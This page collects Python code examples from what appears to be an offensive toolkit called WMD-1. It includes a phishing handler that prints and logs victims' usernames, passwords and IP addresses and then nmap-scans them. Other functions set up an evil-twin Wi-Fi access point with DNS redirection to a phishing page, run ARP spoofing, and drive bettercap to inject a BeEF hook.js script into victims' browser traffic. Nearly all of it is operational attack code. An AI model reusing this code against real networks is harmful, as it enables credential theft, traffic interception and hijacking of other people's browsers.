コード例 #1
0
ファイル: webpage_phishing.py プロジェクト: 5l1v3r1/WMD-1
def redirectUser():
    """Redirecting user after phishing"""
    Username = request.form['Username']
    Passwd = request.form['Passwd']
    redirectUser = request.form['redirect']
    iplocal = request.form['iplocal']
    ipexternal = request.form['ipexternal']
    network = request.form['network']
    browser = request.form['browser']
    print('\n\t' + '[+]  Found something for you!' + '\n\t' + bc.OKGREEN +
          '[+]  Username: '******'\n\t' + bc.OKGREEN +
          '[+]  Password: '******'\n\t' + bc.WARN + '[+]  Redirect: ' +
          bc.ENDC + redirectUser + '\n\t' + bc.WARN + '[+]  Local ip: ' +
          bc.ENDC + iplocal + '\n\t' + bc.WARN + '[+]  Exter. ip: ' + bc.ENDC +
          ipexternal + '\n\t' + bc.WARN + '[+]  Network: ' + bc.ENDC +
          network + '\n\t' + bc.WARN + '[+]  Browser: ' + bc.ENDC + browser +
          '\n' + bc.ENDC)

    if sop.log:
        results = ('\n' + datetime.now().strftime('%Y-%m-%d %H:%M:%S') +
                   '\nUsername: '******'\nPassword: '******'\nRedirect: ' + redirectUser + '\nIp local: ' + iplocal +
                   '\nIp external: ' + ipexternal + '\nNetwork info: ' +
                   network + '\nBrowser info: ' + browser + '\n')
        save_log_file(results)

    if sop.scan.lower() == 'y':
        print('\t[*]  Initiating nmap scan. Results will NOT be saved.')
        comm.runCommand(NMAP_SYM + ' -A -sV -sC -T4 -v ' + iplocal,
                        'EwilTwinScan-' + iplocal)

    return redirect(redirectUser)
コード例 #2
0
def run():
    print('')
    try:
        comm.runCommand(('python3 ' + INSTABOT_GITRUN), 'INSTABOT')
        print(bc.OKGREEN + '\t[+]  Running instabot in new xterm\n' + bc.ENDC)
    except:
        print(bc.FAIL + '\t[!]  There\'s an error in your input.\n' + bc.ENDC)
コード例 #3
0
def runcom(arguments):
    """The run function with special arguments - optional."""
    abspath = os.path.abspath(__file__)
    dname = os.path.dirname(abspath)
    os.chdir('tools/' + CHANGEME_GITNAME)
    print('')
    print('\tRunning with: ' + str(arguments))
    comm.runCommand('python2 ' + CHANGEME_GITRUN + ' ' + str(arguments),
                    'ChangeMe')
    os.chdir(dname)
    print('')
コード例 #4
0
def run():
    """The main run function."""
    print('')

    abspath = os.path.abspath(__file__)
    dname = os.path.dirname(abspath)
    os.chdir('tools/' + CHANGEME_GITNAME)
    if sop.debug.lower() == 'y':
        comm.runCommand('python2 ' + program + ' -s ' + sop.ip + ' -d',
                        'ChangeMe')
    else:
        comm.runCommand('python2 ' + CHANGEME_GITRUN + ' -s ' + sop.ip,
                        'ChangeMe')
    os.chdir(dname)
コード例 #5
0
ファイル: et_phishing.py プロジェクト: 5l1v3r1/WMD-1
def run():
    """The main run function."""
    try:
        # kill instances of hostapd and dnsmasq
        cleanup_system()
        iptables_allow_access()

        # dnsmasq.conf
        dnsconf = ('interface=' + sop.int_mon + '\n')
        dnsconf += ('dhcp-range=10.0.0.10,10.0.0.250,12h' + '\n')
        dnsconf += ('dhcp-option=3,10.0.0.1' + '\n')
        dnsconf += ('dhcp-option=6,10.0.0.1' + '\n')
        dnsconf += ('server=8.8.8.8' + '\n')
        dnsconf += ('log-queries' + '\n')
        dnsconf += ('log-dhcp' + '\n')
        dnsconf += ('no-hosts' + '\n')
        dnsconf += ('no-resolv' + '\n')
        # dnsconf += ('address=/#/' + sop.webphis)
        with open('tmp/dnsmasq.conf', 'w') as file:
            file.write(dnsconf)

        # fakehosts.conf
        # fakehosts = '192.168.1.1 nonhttp.com'

        # hostapd.conf
        hostapd = ('interface=' + sop.int_mon + '\n')
        hostapd += ('driver=nl80211' + '\n')
        hostapd += ('ssid=' + sop.ssid + '\n')
        hostapd += ('channel=' + sop.channel + '\n')
        hostapd += ('logger_syslog=-1' + '\n')
        hostapd += ('logger_syslog_level=2' + '\n')
        with open('tmp/hostapd.conf', 'w') as file:
            file.write(hostapd)

        comm.runCommand('dnsmasq -C tmp/dnsmasq.conf -d', 'dnsmasq')
        comm.runCommand2('hostapd ./tmp/hostapd.conf', 'hostapd')

        print('   -> ' + bc.WARN + 'wmd' + bc.ENDC + '@' + bc.WARN +
              'phisAP:' + bc.ENDC + ' Press Ctrl+c to exit')

        check_connections()

        cleanup_system()
        cleanup_iptables()

    except KeyboardInterrupt:
        cleanup_system()
        cleanup_iptables()
コード例 #6
0
ファイル: et_phishing.py プロジェクト: 5l1v3r1/WMD-1
def dnsmasq_captive():
    """Alternative solution instead of using iptables."""
    # dnsmasq.conf
    dnsconf = ('interface=' + sop.int_mon + '\n')
    dnsconf += ('dhcp-range=10.0.0.10,10.0.0.250,12h' + '\n')
    dnsconf += ('dhcp-option=3,10.0.0.1' + '\n')
    dnsconf += ('dhcp-option=6,10.0.0.1' + '\n')
    dnsconf += ('server=8.8.8.8' + '\n')
    dnsconf += ('log-queries' + '\n')
    dnsconf += ('log-dhcp' + '\n')
    dnsconf += ('no-hosts' + '\n')
    dnsconf += ('no-resolv' + '\n')
    dnsconf += ('address=/#/' + sop.webphis)
    with open('tmp/dnsmasq.conf', 'w') as file:
        file.write(dnsconf)
    os.system('killall dnsmasq')
    comm.runCommand('dnsmasq -C tmp/dnsmasq.conf -d', 'dnsmasq')
コード例 #7
0
ファイル: spoof_arp.py プロジェクト: 5l1v3r1/WMD-1
def run():
    print('')
    print('\t[*]  Turning on ip forwarding')
    os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
    print('\t[*]  Starting ARP spoofing.')
    print(
        '\t[!]  Press enter here or "Ctrl+c" in new terminals to clean up. Screwed up? Run command "killall arpspoof"'
    )
    sleep(2)
    arpCom1 = (ARPSPOOF_SYM + ' -t ' + sop.target + ' ' + sop.gateway)
    arpCom2 = (ARPSPOOF_SYM + ' -t ' + sop.gateway + ' ' + sop.target)
    comm.runCommand(arpCom1)
    comm.runCommand2(arpCom2)
    kill = input('     -> ' + bc.WARN + 'wmd' + bc.ENDC + '@' + bc.WARN +
                 'Kill arpspoof:' + bc.ENDC + ' ')
    print('\t[*]  Stopping ip forwarding')
    os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
    print('\t[*]  Stopping ARP spoofing')
    os.system('killall arpspoof')
    print('')
コード例 #8
0
def run():
    """The main run function."""
    # Start the AP
    command = (CREATEAP + ' -m bridge -g ' + sop.gateway + ' ' + sop.interface_m + ' ' + sop.interface_n + ' ' + sop.ap_name + ' ')

    if sop.args_ap:
        command += sop.args_ap + ' '

    if sop.ap_log:
        command += '>> logs/' + sop.ap_log

    print(
        '\n' +
        '\t' + 'Loading     : Create_ap' +
        '\n\t' + 'Command     : ' + bc.BOLD + command + bc.ENDC +
        '\n\t' + 'Starting in : 2 seconds' +
        '\n\t'
    )
    sleep(2)
    comm.runCommand(command, 'Create_AP_with_create_ap')

    if sop.beef == 'y':
        comm.runCommand3('beef', 'Start_beef')
        local_ip = comm.getLocalIP(sop.interface_n)
        print('\t[!]  Check the beef window and insert path to "hook.js"')
        print('\t[!]  Press enter to select: \'http://' + local_ip[0] + ':3000/hook.js\'')
        beef_js_path = input('\t->  ' + bc.WARN + 'wmd' + bc.ENDC + '@' + bc.WARN + 'hook.js path:' + bc.ENDC + ' ')
        if not beef_js_path:
            beef_js_path = 'http://' + local_ip[0] + ':3000/hook.js'
        bettercap_beef_arg = '--proxy-module injectjs --js-url ' + beef_js_path + ' '

    # Start bettercap
    if getattr(sop, 'interface_n'):
        opt_com = '--interface ' + getattr(sop, 'interface_n') + ' '

    if getattr(sop, 'gateway'):
        opt_com += '--gateway ' + getattr(sop, 'gateway') + ' '

    if getattr(sop, 'target'):
        opt_com += '--target ' + getattr(sop, 'target') + ' '

    if getattr(sop, 'sniffer').lower() == 'y':
        opt_com += '--sniffer' + ' '

    if getattr(sop, 'proxy').lower() == 'y':
        opt_com += '--proxy' + ' '

    if getattr(sop, 'sniff_log'):
        opt_com += '--log ' + getattr(sop, 'sniff_log') + ' --log-timestamp' + ' '

    if beef_js_path:
        opt_com += bettercap_beef_arg

    if sop.args_sniff:
        opt_com += sop.args_sniff

    command = (BETTERCAP + ' ' + opt_com)
    print(
        '\n' +
        '\t' + 'Loading     : Bettercap' +
        '\n\t' + 'Command     : ' + bc.BOLD + command + bc.ENDC +
        '\n\t' + 'Starting in : 2 seconds' +
        '\n\t'
    )
    sleep(2)
    comm.runCommand2(command, 'Bettercap_sniff')

    print(
        '\n' +
        '\t' + 'Status\t : Running' +
        '\n\t' + 'Stop\t : Manually close X' +
        '\n' +
        '\n\t' + 'Type "back" to return to the main menu' +
        '\n'
    )
    print('   -> ' + bc.FAIL + 'wmd' + bc.ENDC + '@' + bc.FAIL + 'APsniff:' + bc.ENDC + ' Module is RUNNING')
コード例 #9
0
def wifi():
    print('')
    comm.runCommand(cwifi.showWifis(sop.int_mon), 'WiFis')
    print('')
コード例 #10
0
def run():
    """The main run function."""
    comm.runCommand(SPARTA_SYM, 'SPARTA')
コード例 #11
0
ファイル: wifi.py プロジェクト: 5l1v3r1/WMD-1
def showWifisF(interface_mon):
    """Scan and show wifis."""
    print('')
    comm.runCommand(showWifis(interface_mon), 'WIFIs')
    print('')